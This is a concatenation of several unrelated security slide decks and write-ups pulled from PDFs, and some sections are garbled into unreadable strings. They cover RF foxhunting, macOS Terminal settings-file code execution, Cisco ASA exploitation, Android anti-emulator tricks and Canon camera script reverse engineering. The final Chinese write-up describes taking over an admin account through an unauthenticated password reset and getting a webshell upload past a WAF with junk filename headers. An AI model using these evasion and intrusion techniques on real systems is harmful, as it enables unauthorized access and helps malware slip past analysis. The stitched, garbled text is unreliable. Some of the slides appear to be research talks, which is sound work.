‣ Most important feature is viewing received power over time
5
Gear Selection:
Antennas
6
Photo courtesy of NASA
Aperture Versus Gain
‣ As a rule, the more sensitive the antenna, the more
focused (directional) its reception pattern
‣ Too much gain can be a bad thing
‣ High gain requires accurate pointing
‣ Power curve follows the Inverse-Square Law
‣ Unless you can attenuate your gain, you lose range
discrimination when you’re close to an emitter
7
Omnidirectional
Antennas
‣ Typically have a toroidal radiation
pattern
‣ Gain varies inversely with z-axis
directionality
‣ For foxhunting, high gain is good
‣ Provides greater detection
distance
‣ Allows some degree of
attenuation by varying orientation
8
Directional Antennas
‣ There are only two good choices, based on availability:
‣
Yagi: High gain, narrow aperture, narrow bandwidth
‣
Panel: Refers to several varieties of antennas that are flat
perpendicular to their boresight, therefore performance varies
‣ Log-periodic antennas are also available, but are less common
‣ If you’re on a budget, it’s easy to make your own Cantenna or
WokFi
‣ Choose your antenna based on performance and form factor
9
Directional Antenna Pattern
Beware of back lobes & side lobes when hunting
10
Multi-antenna Arrays
‣ Generally proprietary (Read: expensive)
‣ Require custom software
‣ Tricky to configure and use correctly
‣ But awesome when you have one!
‣ Challenge: Create a HackRF-based DF array
11
Gear Selection:
Radios
12
Cost Versus Performance
‣ RF equipment can get expensive quickly
‣ Broadband radios and software-defined radios
are more expensive than their application-
specific counterparts, but are more flexible
‣ Low-cost SDR is starting to become a reality
‣ WiFi radios are particularly inexpensive; perfect
for beginners: Alfa 1, Alfa N & TL-WN722N
13
Variable Attenuators
‣ Used to reduce the strength of the received signal
‣ Allow you to use a very high-gain antenna, even at
close ranges
‣ Not strictly necessary, but add versatility
‣ Many types are available, but they usually aren’t
cheap; check eBay
‣ Old-fashioned variable attenuator: rotate your antenna
14
Signal Displays
15
Power Spectral Display
‣ Helps locate your target in the RF spectrum
‣ Not always needed, if you have other ways of tuning
16
Power/Time Domain
‣ Used to track your target over time
‣ Foxhunting tool of choice
17
Spectrogram
‣ AKA Cumulative Spectral
Decay / Waterfall
‣ PSD & PTD combined
‣ Can be used to track
multiple emitters over time
‣ Information overload for
simple foxhunting
18
Using Your Gear
19
Preparation
‣ Know and be comfortable with your equipment,
especially how long your batteries will last
‣ Learn detection ranges for your particular setup;
WiFi radios estimate signal strength inconsistently
‣ Know how sensitive your back/side lobes are
‣ Become fluent in the software you’re using
‣ Practice
20
Inconspicuousness
‣ If you have a bunch of obvious equipment, people will be wary
and avoid you
‣ Fly below the radar, or risk spooking your target
21
General Tips
‣ Be aggressive! Make an active effort to seek your target
‣ Be aware of your environment, and take an organized
approach to your search area; don’t just wander randomly
‣ Keep a mental map of where you’ve been, and the
observed signal levels along the way, for mental
triangulation
‣ Heads Up! Don't glue your nose to the screen, or you
might miss a chance to find your target based on
secondary indicators
22
Multipath
‣ RF emanations will reflect off structures and objects
‣ Same signal will be received from different directions at
different times (Phase Shift)
‣ Changes the SNR of the received signal (Multipath Fading)
‣ To mitigate multipath interference during a foxhunt, keep
moving!
23
Using An Omni
‣ Used for proximity detection (Am I getting closer to the
emitter?)
‣ Possible to successfully hunt with just an omni
‣ Easier when dealing with stationary targets
‣ Move around a lot to determine emitter proximity from
various locations
‣ Keep a good mental map, to perform on-the-fly
triangulation
24
Using A Directional
‣ Steers you in the right direction, once you’ve determined
proximity using the omni
‣ Helpful to have a variable attenuator between your
directional antenna and the radio
‣ Reduces the antenna’s lobes (enhancing
directionality)
‣ Reduces your effective gain when you're getting
closer, to give you more headroom against your
radio's maximum input gain
25
Basic Strategy
‣ Tune your radios to the target emitter
‣ Walk a search pattern, watching the signal strength on a PTD plot
‣ Use the omni to determine if you’re getting closer
‣ Use the directional, and your historical direction of travel, to
determine in which direction to continue
‣ If you start to peak your signal, add attenuation
‣ Don’t go too fast, because received power will fluctuate
‣ Look around: The emitter may become obvious once you relate RF
power to what you see in the environment
26
My WiFi Setup
‣ 5db Omnidirectional rubber duck
‣ 8db simpleWiFi mini panel
‣ HP 8495A Manual Step Attenuator
‣ Alfa USB NICs - Alfa 1 & Alfa N
‣ Alfa N on the omni - it holds connections better
‣ Alfa 1 on the panel - it’s more of a pure radio
‣ No good free software; Kismet/Kismon, WiFi Analyzer (Android),
NetSurveyor (Windows), and Wireless Diagnostics (OS X) are OK
27 | pdf |
macterminalrce
0x00
https://mp.weixin.qq.com/s/xqoylh0j0Ny_FL4PlkwH-Q
terminal
terminal
0x01
mac
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/
lsregister -dump > dumpfile
dumpfile
commandtoolterminal
terminalterminalterminalsetting
pocterminalsetting
0x02 poc
pocsettingterminal
preference
run command
settingpoc.terminal
plistappinfo.plist
0x03
terminaliterm2
itermprofilejson
iterm.itsitermpython
1. iterm
2. xxx.its
3. xxx.itsiterm2
4. iterm2
appscript | pdf |
43
43
00205!
w
7
!
日程
1SQZPM
w
• uu
•
•
• o
• o
<D57klo
• o
q&7
1U9ZQRMOQ6aeeUZS
• o
BQVQO
s3Ma_Qmsmm
& 9[Dmm
• BB3o
n
x
<D57klo
• xo
nm
m
• o
n
• o
n
nC9=
• no
xtn
qs
• o
• o
kl
• 3o
•
• 9ZQX
• EC2&
• o
• C4BoECB2UZU<UQC4B
•
•
• o
•
•
kl
• o
• <D5oQZ1U9ZQRMOQ
• 7C=oQZ2C3
• o
• ENaZa)<DC
• o
•
7kl
• MZSM[[=[NUXQ4Q_W[[o
• mh
• )
• 78I9ZQX1[d(I+( m78I
• 7B1=
• &75==3
• wEC2&
7kl
• E2[MPo
• 78I9ZQX1[d(I+&( m78I
• 7B1=
• )75==3
• wEC2&D7
• (F
7k&l
• ECB2UZUo
• -=8e )78e
• o()=8e
• oP2
• EC2&
7kl
• o
•
7k(l
• o
• (F&1q
<D57
<D57
<D5n7C=Xa[C4B
<D57kl
• o
• s53OLQ>2LC1Om
==5m53mQ>[PQ2
• 1MOTBQ]aQ_1MOTBQVQO d->Qc[WRMUXaQ d
• D44<D5
• 19D4<D5D4m
mt19xD4
mt
•
• oM_Q1ED>B1>4
HB5Cmm<D5
==5RQQ4UMQQ
<D57kl
• <D57C=
•
• o
• E9
•
•
• 1
• &77
• ms
• o
• k1FCQl
• <D5kM_Qm1ED>mB1>4mHB5Cl
• E=DCk9m3m1ED>mB1>4mHB5Cl
• 6Q[3QXXo
• 9CQOF>
• 6Q[3QXXCQ7G
• 6Q[3QXX==5C7C>
• 7BH9Ho
• 7D3
•
•
6Q[3QXX
6Q[3QXXkl
• xo
• 7C=o8>2
• D4C34=1o8>2&&8>
• D4<D5ox2C+
6Q[3QXXkl
• xo
• E1(E1+)E1+&(
• QUO[&+QUO[&+
6Q[3QXXk&l
• xo
• QUO[&)+
&7E=DC
&76Q[OQXX
DB)6Q[3QXX
DB)
• k35l
• 1a[3[ZRUSaMU[ZCQbQk13Cl35
Ø
ØC[[R
• 8DDC}
• o35m6UcMQ
• 6Q[3QXXs
• 13C9CQO
7&77m
zoE7G+
B[[6Q[3QXX
•
&776Q[3QXX
CQ7GC9=6Q[3QXX6UcMQ
•
[[
•
9CQO
•
•
x
•
m
B[[6Q[3QXX
• p
• 3
•
• C5775B:<UZW
•
B[[6Q[3QXX
• 2ECUMQ
• :D17aXM[
• >1>46XM_T DC()
:D176Q[3QXX
•
• x
E1BD6Q[3QXX
•
•
•
>1>46XM_T
• 6UcMQ
• o
oC9=
&
B[[6Q[3QXX
• DB)o7QZUQ13CQZ13C
Øq6UcMQ6UcMQ
Øq
• 941[
• QZ34
• 2UZcMXW
•
•
•
k9m3m1ED>mB1>4mHB5Clk
M_Qm1ED>mB1>4mHB5Cl
•
o
•
6Q[3QXX
• 6Q[3QXXk8Q>27Gl
• 6Q[3QXX511151C9=
• 9CQO
• 6Q[3QXXqkl
• mC7C>==5
6Q[3QXX
• 6Q[3QXXqs
• x~C9=m_[ZSCcMZ
• EC9=m3C3
<D5
• om
• 19x==5m1F
m
•
• CCC97DB1>v
• 7BHo7BHB[MUZS5dOTMZSQ
• 9Ho95dOTMZSQ
• 7BH9Hxwm
• 7BH
1F
• CC-CQZP1aT9ZR[CQZP9PQZURUOMU[Z
• 7BH-C7C>3[ZQdBQ]aQ_
• 9H4UMQQ-1aTQZUOMU[Z9ZR[MU[ZBQ]aQ_
• 9QPUMQBQ_[Z_QQRQQP
q7BH
GTP echo request:
7BHi 77C>kl
GTP echo response:
7BHi 77C>kl
7BHi t77C>
7BHi C7C>
• t77C>
• C7C>3[ZQdBQ]aQ_m1F
• t==5
• 7BHo77C>==5m
• r7BH[[m
• m7BH
4UMQQ
• k9CQOD<Cls
• {ms
• C3D
• 1XUOMU[Z9PQZURUQ )(
9H4UMQQ
• RQQ4UMQQ
• s
• C)Mo==58CC
• 1aTQZUOMU[Z9ZR[MU[ZBQ]aQ_1Z_cQm9QPUMQ
BQ_[Z_QQRQQP
• 8CC 5EDB1>FQO[--/.1FTQMPQ-(0
•
J9Q>aNQK
•
fB1>4g
•
fHB5Cg
•
f1ED>g
•
f1C=5g
klx
• 6Q[3QXX
• 1F/
• x
• o
• BB37C=x
A1
• j
1324
1324 | pdf |
•
研究背景
•
研究内容
•
总结
Part. 01
研究背景
2
3
探索⼀切、攻破⼀切
近年有关网络设备的安全事件
时间
事件
2014-04
思科(cisco)和瞻博(juniper)发现存在heartbleed漏洞
2014-11
卡巴斯基实验室发布报告披露黑暗能量（BlackEnergy）可
以攻击思科（cisco）路由器
2015-09
火眼（fireeye）发布了有关思科（cisco）路由器SYNful
Knock后门的报告
2015-10
安全公司volexity的Steven Adair发现了攻击思科（cisco）
web vpn的案例
2015-12
瞻博(juniper)发现漏洞： 万能密码登录设备（CVE-2015-
7755）、可解密VPN流量（CVE-2015-7756）
2016-01
@esizkur 发现飞塔防火墙（Fortigate）存在ssh未声明账户
漏洞（CVE-2016-5125）
2016-08
方程式针对防火墙攻击的工具泄露
4
探索⼀切、攻破⼀切
网络设备漏洞特点
（ASA）
2014.10-
2014.12
2015
2016.1-
2016.6
Dos
9
9
4
Bypass
1
3
1
其他
8
3
1
思科防火墙asa系统漏洞数目
思科ios系统漏洞数目
(CISCO
IOS)
2014
2015
2016.1-
2016.5
Dos
32
68
15
Bypass
2
3
0
其他
7
3
2
5
探索⼀切、攻破⼀切
研究历史
•
Attacking Network Embedded System Felix ‘FX’ Lindner 2002
•
The Holy Grail Cisco IOS Shellcode And Exploitation Techniques Michael Lynn 2005
•
Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007
•
Cisco IOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008
•
Router Exploitation Felix ’FX’ Lindner 2009
•
Fuzzing and Debugging Cisco IOS SebasEan Muniz, Alfredo Ortega 2011
•
Killing the Myth of Cisco IOS Diversity Ang Cui, JaEn Kataria, Salvatore J. Stolfo 2011
•
Breaking Bricks and Plumbing Pipes:Cisco ASA a Super Mario Adventure Alec Stuart-
Muirk 2014
•
Cisco IOS shellcode:all-in-one George Nosenko 2015
•
Execute my packet David Barksdale,Jordan Gruskovnjak,Alex Wheeler 2016
Part. 02
研究内容
6
7
探索⼀切、攻破⼀切
研究步骤
获取
固件
固件
patch
真机
调试
固件
解包
静态
分析
模拟
网络
模拟
系统
模拟
8
探索⼀切、攻破⼀切
获取固件
•
从官网下载
•
通过网络从设备上拷贝到电脑上
•
从设备的存储模块读
•
从网上找网友的分享
8
探索⼀切、攻破⼀切
9
探索⼀切、攻破⼀切
ASA固件解包
Some
loader
vmlinuz
initrd
gzip压缩的rootfs.img
Directgbootingg fromgfloppyg isgnoglongergsupported.
10
探索⼀切、攻破⼀切
lina
•
$gcpio -idg<g rootfs.img
10
探索⼀切、攻破⼀切
lina
10
探索⼀切、攻破⼀切
lina
•
$gcpiog-idg<g rootfs.img
•
$glsg/asa/bin/
•
coredump_helper lina lina_monitor
11
探索⼀切、攻破⼀切
ASA系统模拟&调试
12
探索⼀切、攻破⼀切
IOS固件解包
12
探索⼀切、攻破⼀切
IOS固件解包
13
探索⼀切、攻破⼀切
IOS系统模拟&调试
14
探索⼀切、攻破⼀切
网络模拟
15
探索⼀切、攻破⼀切
真机调试
15
探索⼀切、攻破⼀切
真机调试
asa924-k8.bin
quiet>loglevel=0>auto>=>>rdinit=/bin/sh
16
探索⼀切、攻破⼀切
设备调试命令
16
探索⼀切、攻破⼀切
设备调试命令
17
探索⼀切、攻破⼀切
CVE-2016-1287
•
CiscogASAg5500gSeriesgAdaptivegSecuritygAppliances
•
CiscogASAg5500-XgSeriesgNext-GenerationgFirewalls
•
CiscogASAgServicesgModulegforgCiscogCatalystg6500g
SeriesgSwitchesg
•
Ciscog7600gSeriesgRouters
•
CiscogASAg1000VgCloudgFirewall
•
CiscogAdaptivegSecuritygVirtualgApplianceg(ASAv)
•
CiscogFirepowerg9300gASAgSecuritygModule
•
CiscogISAg3000gIndustrialgSecuritygAppliance
18
探索⼀切、攻破⼀切
IKEv2协议
19
探索⼀切、攻破⼀切
使用Scapy构造POC
20
探索⼀切、攻破⼀切
漏洞触发
21
探索⼀切、攻破⼀切
漏洞利用
22
探索⼀切、攻破⼀切
堆块变化
溢出
合并
ikev2gdaemon
ikev2gfragmentgparse
22
探索⼀切、攻破⼀切
堆块变化
溢出
合并
ikev2gdaemon
ikev2gfragmentgparse
22
探索⼀切、攻破⼀切
堆块变化
溢出
合并
ikev2gdaemon
ikev2gfragmentgparse
23
探索⼀切、攻破⼀切
获取代码执行权
23
探索⼀切、攻破⼀切
获取代码执行权
24
探索⼀切、攻破⼀切
GetShell
25
探索⼀切、攻破⼀切
利用稳定性问题
•
IP数据包分片
•
其他进程干扰
26
探索⼀切、攻破⼀切
可能的解决办法
•
控制数据包的大小，使IP包数据不大于MTU
•
Defragment时占位的attribute尽可能的多
27
探索⼀切、攻破⼀切
网络设备利用时存在的问题
•
Arm，PowerPC，Mips架构设备的缓存一致性问题
•
依赖硬编码，需要知道具体的固件版本
•
网络环境的影响
28
探索⼀切、攻破⼀切
缓存一致性问题
28
探索⼀切、攻破⼀切
缓存一致性问题
Part. 03
总结
39
30
探索⼀切、攻破⼀切
总结
•
网络协议种类多，协议构成复杂，出现漏洞的部分往往是很“偏”的部位
•
还原漏洞触发需要一定的网络环境
•
网络设备固件版本多
•
分析不同的固件时，要重新识别功能函数
T
H
A
N
K
S | pdf |
19.07.2013
DEX EDUCATION 201
ANTI-EMULATION
TIM STRAZZERE - HITCON 2013
Friday, July 19, 13
WHOAMI
• Lead Research & Response Engineer @
Lookout Mobile Security (yes.. an av)
• Reversed the Android Market/Google Play
Protocol
• Always enjoyed reversing “exotic”
platforms, writing tools to automate the
mundane
• Junkie for reversing mobile malware,
creating write ups and teaching other to
help raise the bar
Friday, July 19, 13
AGENDA
• Recap of Dex Education 101
• Who is evading emulators / How is it done
• Who is hiding emulators / How is it done
• Easy detection - Hard time hiding
• Basic emulator detection / QEMU-FOO
• “Advanced” detection of emulator systems
• TLDR; Conceptualizing detection
Friday, July 19, 13
RECAP OF DEX EDUCATION 101
• Decompilers and disassemblers are easy to
break but no one was doing it!
• Predicting these breakages can help up
prevent and detect attacks
• Advances since then;
• DexGuard
(“Most sophisticated Android Malware”)
• HoseDex2Jar
• Slides available:
www.strazzere.com/papers/DexEducation-PracticingSafeDex.pdf
Friday, July 19, 13
RECAP OF DEX EDUCATION 101
• HoseDex2Jar used the “big ego” tactic of
injecting files into the header
• Author even said hiTim in one of his
method names (HOW NICE)
• github.com/strazzere/dehoser
• Latest example uses some simple crypto
inside of native code - go play!
Friday, July 19, 13
Friday, July 19, 13
WHO IS EVADING EMULATORS?
• Security Researchers
• Game cheaters / “hackers”
• Devs against competition
• Malware authors (?)
Friday, July 19, 13
MOTIVE FOR EVASION?
• Games detect emulators to prevent
cheating/abuse
• Must uniquely identify devices to
prevent referral abuse/easy cheating
• Attempt to stop farming/cheats
• App devs want to “protect” secrets
• Security researchers want to break stuff,
get famous and pwn people
• duh!
• Malware authors want to avoid detection of
their “products”
Friday, July 19, 13
DETECTION IMPORTANT?
• Games / App / Research / Malware
• All have different use cases and trying
to detect different segments
• Games want to raise bar for cheating
without FP
• Security researchers... Prevent getting
pwned and hacing a talk at BH
• AV’s want broad detection without FP
Friday, July 19, 13
EVASION DETECTION IS DIFFERENT
• Games / Apps want to detect and phone
home
• Either alert devs of abuse, or just fail to
work properly
• Security researchers might just want to
probe your infrastructure...
• Has anyone ever probed Bouncer? (oh
wait... hi Charlie/JonO!)
• AV’s want malware to perform their
payloads while they watch
• If detected, malware won’t perform
detected/wanted behaviors
Friday, July 19, 13
HOW DO PEOPLE EVADE EMUS?
• is phone number == 15555215554
• is imei == 012345678912345
• is device id == 000000000000000
• is build.MODEL == sdk || generic
• Traditional “red pills”
• Bluebox/Dexterlabs produced some
timing issue based red pills
• Super interesting to develop/detect
• Maybe not “practical”
Friday, July 19, 13
• Hex edit img(unsuprisingly)
• Change the phone
number
• Change the IMEI
• Change device id
• Change the fingerprints
• http://vrt-blog.snort.org/
2013/04/changing-imei-
provider-model-and-
phone.html
HOW ARE PEOPLE HIDING EMUS?
Friday, July 19, 13
EASY EMULATION DETECTION
• QEmu wasn’t made for hiding
• REAL HARDWARE <-> Host <-> Android
Client
• The “hardware” is inside the Host, so radio/
gps/camera are communicated through
QEmu pipes
• Pipes are _not_ hidden
• QEmu relies on lots of values initialized in
system properties and a decently heavy
infrastructure
Friday, July 19, 13
GETPROPS == GET EMU
Friday, July 19, 13
GETPROPS == GET EMU
Friday, July 19, 13
GETPROPS == GET EMU
• There are many things that appear “odd” in
emulators
• Just masking “odd” ones might not be
enough
• Smart attackers know their targets / could
selectively attack
• Could use geographical context to help
emulator applications predictable contexts
• a (well done) APT evasion scenario might be
impossible to predict
Friday, July 19, 13
GETPROPS == GET EMU
• How are they getting these properties?
Friday, July 19, 13
GETPROPS == GET EMU
• How are they getting these properties?
• Reflection! Trap it for a hopeful win
• Hook the getprop command ?
(https://github.com/poliva/ldpreloadhook)
Friday, July 19, 13
I’M A POWER USER, I USE TAINT
• Taintdroid is powerful!
• It is however, _not_ stealth
• Taintdroid != emulation
• Can run on “real” devices
• Talks on exfiltration of data on taintdroid
• Why bother unless targeting that
system?
• Why not just detect and remain silent!
Friday, July 19, 13
TAINTED?
• Detection of taint is relatively easy
Friday, July 19, 13
TAINTED?
• Detection of taint is relatively easy
• Is package name “org.appanalysis” available
Friday, July 19, 13
TAINTED?
• Detection of taint is relatively easy
• Is package name “org.appanalysis” available
Friday, July 19, 13
TAINTED?
• Detection of taint is relatively easy
• Is package name “org.appanalysis” available
Friday, July 19, 13
CHECK THE PLUMBING
• Like previously said
QEmu wasn’t made for hiding
• “Pipes” talk to the host environment
• Publicly exposed and available if you have
an internet permission
Friday, July 19, 13
CHECK THE PLUMBING
• Easily found pipes;
• /dev/qemu_pipe
• /dev/socket/qemud
• Simple file check can suffice
• Connect for extra fun :D
Friday, July 19, 13
CHECK THE PLUMBING
• Hiding these pipes is non-trivial
• Hardcoded / used plenty across codebase
• Used in many files, most of which stand out
themselves;
• /system/lib/
libc_malloc_debug_qemu.so
• /sys/qemu_trace
• /system/bin/qemu-props
Friday, July 19, 13
CHECK THE PLUMBING
• Drivers are pretty easily spotted as well
• Just follow the goldfish
Friday, July 19, 13
• How many devices are
being targeted?
• Know the targets
• Do people who download
infected Angry Birds have
NO data?
CHECKING THE CONTENT
Friday, July 19, 13
• How many toll fraud
targets are there?
• Do they normally send
NO sms?
• Malware already has
access to these...
CHECKING THE CONTENT
Friday, July 19, 13
• People may not use
smartphones as phones
much
• But is it expected that
they’ve never made a
call? Ever?
CHECKING THE CONTENT
Friday, July 19, 13
• Is the device always
“charging”?
• But is always at 50%?
• Never roaming?
• Always at emulator
defaults?
CHECKING THE CONTENT
Friday, July 19, 13
CONTENT IS KEY
• Malware authors know who they target
• They also know who they can affect
• Large dynamic emulator systems need
context and content
• Emulation must be emulating the victim,
not just the victims system
Friday, July 19, 13
CONCEPTUALIZING DETECTION
• Talk with fG+; economics are importnat
• People (malware authors) want a ROI
• Low bar for detection means less work
• Less work on the code leads to more work
on infections
• Talk at defcon about investigating Russian
Toll Fraud
• They essentially run agile shops!
Friday, July 19, 13
THANKS!
@timstrazz
[email protected]
strazzere.com/blog
github.com/strazzere
Should follow for good info;
@osxreverser @snare @pof @jduck @thomas_cannon
@TeamAndIRC @Gunther_AR
Greets;
fG!, Lohan+, jcase, jon larimer, zuk, jduck, JF, pof, thomas cannon, snare, crypto girl,
collinrm, gunther and others
Friday, July 19, 13 | pdf |
Exploiting Digital Cameras
Oren Isacson - oren]at[coresecurity.com
Alfredo Ortega - aortega]at[coresecurity.com
Exploit Writers Team
Core Security Technologies
August 1, 2010
Exploiting Digital Cameras
August 1, 2010
1 / 27
Introduction
This talk is about:
• How to script Canon Powershot cameras.
• How we reversed the embedded interpreter.
• What are the possibilities of this?
• What are the security consequences?
Exploiting Digital Cameras
August 1, 2010
2 / 27
Architecture of Powershot cameras
• ARM type Processor (ARM946E-S
based)
• Memory Protection Unit (MPU)
• No Memory Mapping Unit
• Exception handlers
• SD Memory Card
• Debugging Support
• Proprietary OS (DryOS)
We used MPU’s registers to find the
memory regions
And exception handlers for debugging.
Exploiting Digital Cameras
August 1, 2010
3 / 27
Previous works: CHDK
• CHDK is an unofficial firmware
enhancement.
• Can be booted from the memory
card.
• Loads as a firmware update but it
doesn’t make permanent changes.
• It doesn’t automatically load unless
the Memory Card is locked.
• But users don’t normally have
Memory Card in locked mode.
• So it’s safe (not a good attack
vector).
We used it for researching the firmware.
Exploiting Digital Cameras
August 1, 2010
4 / 27
Image fuzzing
• Can we run code exploiting the image parsers?
• The camera crashes when processing some malformed
images.
• We wrote an exception handler to examine the crashes.
• Even if we can exploit this bugs, the exploit would be
model specific.
Exploiting Digital Cameras
August 1, 2010
5 / 27
Firmware analysis
• CHDK project provieded IDA dumps of some powershot
cameras (Thanks!).
• Some Interesting strings:
• “Syntax Error”, “yacc stack overflow”, “input in flex scanner
failed”, etc.
• It appears that there is an embedded interpreter.
• Flex lexical scanner and yacc or bison parser generator
were used.
Exploiting Digital Cameras
August 1, 2010
6 / 27
The embedded interpreter
• We are not the first ones to find the interpreter
• But there is no public documentation on the language
• Invalid scripts make the camera shut down.
• And there are no helpful error messages.
Exploiting Digital Cameras
August 1, 2010
7 / 27
Running a script
• Script file: “extend.m”
• String “for DC_scriptdisk” must be in file “script.req”
• String “SCRIPT” in offset 0x1f0 of the memory card.
• Memory card can be either FAT32, FAT16 or FAT12 (unlike
in the firmware update boot method).
• Script is launched when ”Func. Set” key is pressed in
playback mode.
• It works even when the memory card is in unlocked
mode.
• We need to reverse the interpreter.
Exploiting Digital Cameras
August 1, 2010
8 / 27
yacc/lex
• Standard yacc/lex (Bison/flex) parser:
LCDMSG_Create()
private sub
Initialize()
...
end sub
PRINT
Script \extend.m
print()
LEDDrive()
IF
WHILE
yylex()
yyparse()
(yacc generated)
(flex generated)
getch()
Get next token
LoadScript("\extend.m")
Exploiting Digital Cameras
August 1, 2010
9 / 27
Locating yyparse()
yyparse() function:
• yyparse() is the grammatical parser, it calls the lexer
yylex().
Exploiting Digital Cameras
August 1, 2010
10 / 27
Locating yylex()
yylex() function:
• Flex is a regex-based tokenizer (Lexical analyzer)
• The regex implementation is a table-based state machine
• Over 220 states and 50 different tokens.
Exploiting Digital Cameras
August 1, 2010
11 / 27
Reversing yylex()
Flex state-machine based regex parser:
yy_match :
do
{
register YY_CHAR yy_c = yy_ec [YY_SC_TO_UI(∗yy_cp ) ] ;
i f
(
yy_accept [ yy_current_state ]
)
{
yy_last_accepting_state = yy_current_state ;
yy_last_accepting_cpos = yy_cp ;
}
while
(
yy_chk [ yy_base [ yy_current_state ] + yy_c ]
!=
yy_current_state
)
{
yy_current_state = ( int )
yy_def [ yy_current_state ] ;
i f
(
yy_current_state >= 76 )
yy_c = yy_meta [ ( unsigned int )
yy_c ] ;
}
yy_current_state = yy_nxt [ yy_base [ yy_current_state ] + ( unsigned int )
yy_c ] ;
++yy_cp ;
}
while
( yy_base [ yy_current_state ]
!= 271
) ;
• Let’s emulate it in x86! we only need to find the tables.
Exploiting Digital Cameras
August 1, 2010
12 / 27
Finding Flex tables
yylex()
yy_accept[]
yy_base[]
yy_nxt[]
yy_chk[]
yy_ec[]
yy_def[]
static const short
int
yy_base [517] =
{
0 ,
0 ,
0 ,
43 ,
46 ,
49 ,
50 ,
69 ,
0 ,
161 ,
0 ,
205 ,
0 , 2351, 2350, 2349, 2348,
295 ,
332 ,
377 ,
0 ,
426 ,
0 ,
475 ,
0 ,
Location in firmware of yy_base[]:
Exploiting Digital Cameras
August 1, 2010
13 / 27
Dumping Tokens
• Find all the tables and rebuild the equivalent Flex parser
• Try all different combination of inputs (Exit on “unknown”
token)
• Brute force time!
Works every time
Exploiting Digital Cameras
August 1, 2010
14 / 27
It’s Basic!
#
Token
#
Token
1
+
2
-
4
/
8
^
9
>>
10
<<
11
==
13
>=
15
<=
16
<>
19
(
20
)
23
%%MEMORY_L
24
%%MEMORY_M
25
%%MEMORY_S
26
"
42
if
42
If
42
IF
43
sub
43
Sub
43
SUB
44
function
44
Function
45
do
45
Do
45
DO
47
for
47
For
47
FOR
Exploiting Digital Cameras
August 1, 2010
15 / 27
Emulating the parser
Now we know (most of) the Tokens.
We need to emulate the parser. We used:
• QEMU: processor emulator with ARM support
• GNU Binutils: for working with memory images
• Our exception handler: for dumping camera memory
• CHDK: for loading our exception handler and writing to
memory card.
• GDB: debugger for setting initial CPU state and monitoring.
Exploiting Digital Cameras
August 1, 2010
16 / 27
Dumping the memory
• QEMU can’t emulate the whole camera.
• So we need a memory dump at the parser entry point.
• We can’t set breakpoints.
• but we can force a memory address exception
• Setting the static variable yy_start to 0xA0A0A0A0, the last
line raises an exception:
s t a t i c
yy_start =1;
[ . . . ]
yy_current_state = yy_start ;
do
{
YY_CHAR yy_c = yy_ec [∗ yy_cp ] ;
i f
(
yy_accept [ yy_current_state ]
)
Exploiting Digital Cameras
August 1, 2010
17 / 27
Dumping the memory
Exception handler:
• Stores CPU registers
• Stores memory image
• MPU registers tells us memory regions
offset
size
0x0
32 MB
0x0
2 GB
0x2000
8 KB
0x10000000
32 MB
0x40000000
4 KB
0xc0000000
16 MB
0xffc00000
4 MB
• We only need 2 areas: Main memory at offset 0 (32MB)
and ROM at offset 0xffff0000 (4MB)
Exploiting Digital Cameras
August 1, 2010
18 / 27
Loading the emulator
• QEMU can load ELF format files.
• We used Binutils objcopy and objdump to make ELF file
from memory dump.
• QEMU has an internal GDB server.
• We use it for setting initial register state.
• We fix the invalid variable so it doesn’t generate an
exception inside the emulator.
Exploiting Digital Cameras
August 1, 2010
19 / 27
Running the emulator
• As not all hardware is emulated, we can’t allow the
emulated code to make system calls.
• The flex generated scanner uses a macro to read input:
YY_INPUT.
• Using GDB python integration, it’s easy to replace this
macro.
• The lexical scanner will continue to call YY_INPUT until it
returns 0.
• Or until an error is found.
• We used this to find out the camera script syntax.
Exploiting Digital Cameras
August 1, 2010
20 / 27
Emulating scripts
Sample emulation runs:
Dim a as Long ← Error
a=1
Dim a
a=1 ← Error
Dim a=1 No Errors
Exploiting Digital Cameras
August 1, 2010
21 / 27
Emulating scripts
sub test() ← Error
end sub
test()
private sub test()
end sub
test() ← Error
private sub test()
end sub
private sub test2()
test()
end sub No Errors
Exploiting Digital Cameras
August 1, 2010
22 / 27
Hello World
Entry point function has to be called “Initialize“.
HelloWorld script:
private sub sayHello ( )
a=LCDMsg_Create ( )
LCDMsg_SetStr (a , " Hello World ! " )
end sub
private sub I n i t i a l i z e ( )
UI . CreatePublic ( )
sayHello ( )
end sub
Exploiting Digital Cameras
August 1, 2010
23 / 27
Language documentation
• We found over 500 functions controlling all aspects of the
camera
• We documented some of them and made a (very
incomplete) user guide
• Exploiting_Digital_Cameras_IOBasic.pdf
Exploiting Digital Cameras
August 1, 2010
24 / 27
Launching exploits from the camera
• Example 1: Launch common auto-run exploits against the
SD (MS08-038, CVE-2010-2568)
• Example 2: Activate the microphone!
• Example 3: Output data via Exif Tags
Exploiting Digital Cameras
August 1, 2010
25 / 27
Countermeasures
• Check that there are no .REQ or .BIN files in the SD card
before inserting into the camera.
• Camera can’t be infected by using USB-PTP, malware
can’t access root filesystem.
• AntiVirus can’t scan cameras by USB-PTP.
SD
AV
USB (PTP)
Exploiting Digital Cameras
August 1, 2010
26 / 27
The end
Thank you!
Exploiting Digital Cameras
August 1, 2010
27 / 27 | pdf |
0x00 前⾔
如有技术交流或渗透测试/代码审计/红队⽅向培训/红蓝对抗评估需求的朋友
欢迎联系QQ/VX-547006660
0x01 起因
某项⽬靶标，是⼀个⼈员管理系统，通过webpack暴露的接⼝
我们成功找到了⼀个未鉴权的密码修改接⼝，通过fuzz
我们获取到了该接⼝的参数username与password，并成功修改了admin账号密码进⼊后台
在⼀个任意上传的后台功能点，我们遇到了⻜塔WAF+流量检测设备，于是便有了本⽂
0x02 摸清检测规则
众所周知，⻜塔公司的WAF+流量检测设备还是⽐较⽜逼的，我直接尝试上传⼀个免杀webshell，毫⽆疑问直接
GG了
经过测试，上传⽆害内容1111但⽂件名为XXX.aspx也会被拦截
发现⻜塔对form表单的⽂件名和⽂件内容都有检测，我们必须得把这俩检测都安排掉才能成功上传
下⾯简述⼀下对抗思路
0x03 ⽂件名检测——根据.NET上传匹配⽂件名特性绕WAF(骗)
.NET中常⽤context.Request.Files处理⽂件上传表单
其在匹配上传⽂件名时只匹配Content-Disposition:后的filename=xxxx，这就给了我们很⼤的绕WAF操作空
间，可以直接在Content-Disposition中注⼊脏数据来扰乱WAF的检测
这⾥我去掉分号，并使⽤emoji宽字节数据扰乱waf
如图，使⽤⽆害数据成功上传aspx⽂件
